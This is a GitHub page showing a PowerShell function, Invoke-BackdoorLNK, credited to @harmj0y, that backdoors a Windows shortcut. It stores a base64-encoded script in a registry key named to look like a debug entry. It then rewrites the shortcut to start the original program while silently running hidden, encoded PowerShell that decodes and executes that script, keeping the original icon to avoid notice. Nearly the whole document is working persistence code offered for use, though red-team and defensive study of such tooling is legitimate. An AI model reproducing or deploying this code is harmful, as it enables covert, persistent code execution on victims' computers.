Skip to content
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
123 lines (83 sloc) 3.82 KB
function Invoke-BackdoorLNK {
Takes an existing (full) .LNK path and backdoors it to trigger a base64-encoded and registry-stored script.
The original application is still launched, the original icon is preserved, and no powershell.exe window pops up.
Author: @harmj0y
License: BSD 3-Clause
The full path to the existing .LNK to backdoor/cleanup. Required.
Unicode base64-encoded script to store in the registry.
Registry path to store the encoded payload in.
Defaults to 'HKCU:\Software\Microsoft\Windows\debug'
Switch. Restore the .LNK's original parameters.
PS C:\> Invoke-BackdoorLNK -LNKPath C:\Users\john\Desktop\Firefox.lnk -EncScript AA...
Store the specified b64 script into HKCU:\Software\Microsoft\Windows\debug and
set the shortcut at C:\Users\john\Desktop\Firefox.lnk to launch the original
Firefox binary and then decode/trigger the registry payload.
PS C:\> Invoke-BackdoorLNK -LNKPath C:\Users\john\Desktop\Firefox.lnk -CleanUp
Remove the registry payload and restore the original path to the shortcut.
[CmdletBinding()] Param(
[Parameter(ValueFromPipeline=$True, Mandatory = $True)]
[ValidateScript({Test-Path -Path $_ })]
$RegPath = 'HKCU:\Software\Microsoft\Windows\debug',
$RegParts = $RegPath.split("\")
$Path = $RegParts[0..($RegParts.Count-2)] -join "\"
$Name = $RegParts[-1]
$Obj = New-Object -ComObject WScript.Shell
$LNK = $Obj.CreateShortcut($LNKPath)
# save off the old .LNK parameters
$TargetPath = $LNK.TargetPath
$WorkingDirectory = $LNK.WorkingDirectory
$IconLocation = $LNK.IconLocation
if($CleanUp) {
# restore the original .LNK parameters
$OriginalPath = ($IconLocation -split ",")[0]
$LNK.TargetPath = $OriginalPath
$LNK.Arguments = $Null
$LNK.WindowStyle = 1
# remove the stored registry Value
$null = Remove-ItemProperty -Force -Path $Path -Name $Name
else {
if(!$EncScript -or $EncScript -eq '') {
throw "-EncScript or -Cleanup required!"
# store the encoded script into the specified registry key
$null = Set-ItemProperty -Force -Path $Path -Name $Name -Value $EncScript
"[*] B64 script stored at '$RegPath'`n"
# trojanize in our new link arguments
$LNK.TargetPath = "$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe"
# set the .LNK to launch the original binary path first before our functionality
$LaunchString = '[System.Diagnostics.Process]::Start("'+$TargetPath+'");IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp '+$Path+' '+$Name+').'+$Name+')))'
$LaunchBytes = [System.Text.Encoding]::UNICODE.GetBytes($LaunchString)
$LaunchB64 = [System.Convert]::ToBase64String($LaunchBytes)
$LNK.Arguments = "-w hidden -nop -enc $LaunchB64"
# make sure to match the old working directory
$LNK.WorkingDirectory = $WorkingDirectory
$LNK.IconLocation = "$TargetPath,0"
$LNK.WindowStyle = 7
"[*] .LNK at $LNKPath set to trigger`n"
You can’t perform that action at this time.